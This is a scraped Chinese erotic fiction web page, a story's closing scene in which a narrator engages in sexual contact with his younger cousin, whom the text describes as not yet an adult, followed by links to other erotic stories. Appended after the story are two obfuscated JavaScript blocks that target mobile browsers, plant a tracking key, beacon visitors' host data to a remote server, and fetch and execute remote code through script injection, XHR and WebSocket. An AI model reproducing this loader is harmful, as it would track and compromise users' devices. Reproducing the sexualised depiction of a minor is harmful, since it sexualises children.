我和表妹呆呆站了一会,我说︰我们进房吧。表妹点点头,跟我走进了房间。关上房门的那一刹那,正好听见爸爸的车子远去的声音。

终于,只有我们两个人了……

表妹坐在床上,我站在门边。我听到自己的心跳声,擂鼓一般,一下下撞击着胸腔。

我慢慢走过去,在表妹身边坐下,伸手环住她的腰。表妹两手放在腿间,紧张得全身都在微微颤抖。

哥……

她刚叫了一声,嘴就被我封住了。我一手搂着她的腰,一手捧着她的头,对着她莹润的红唇深深吻了下去。

什么都不用说了,佳佳……该说的我们今天都说完了,让我好好爱你吧……

我们倒在床上,抱成一团。

哥……表妹还在我耳边低声呻吟,我们……我们要……

快感的浪潮从我的体内迅速退去,负罪感瞬间涌了上来——我在干什么?我要上了佳佳?!

表妹的脸泛起阵阵潮红,比平时更多了几分美艳动人的性感,但是我的心却已落到谷底。我轻轻地抱住她,说︰佳佳,我们现在不行……

表妹愣了一下,几乎是一瞬间,她的身体停了下来。

我拉好她的内裤,又轻轻把她放躺平。她睁大眼楮望着我,有点害怕,问︰我做错什么了吗……

我笑道︰你错什么,当然没有错啦……说着直起身子,有点尴尬地说︰是我太没用了……

表妹目光往我的下身一扫,惊讶地说︰哥,你的裤子湿了哦!

我的脸红了红,说︰嗯,你知道是什么吧?

表妹想了想,有点难为情地说︰哦,好像知道了……想想又说︰但是不对啊……怎么会……

我摸了摸表妹的脸,说︰今晚我错了……我太急了,以后不这样了。

表妹笑笑︰不要紧的啊……

我说︰等我们都上大学了,你也成年了,我们再做那个,好不好?

表妹说︰可是我明年寒假就成年了……

我笑︰那就等到那时吧。我先起来换条裤子……湿湿的好难受……

表妹看了我一下,笑道︰要不我帮你擦?

【全文完】


上一篇:假清纯真淫荡人妻老师(上.中.下

下一篇:放荡的妈妈


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};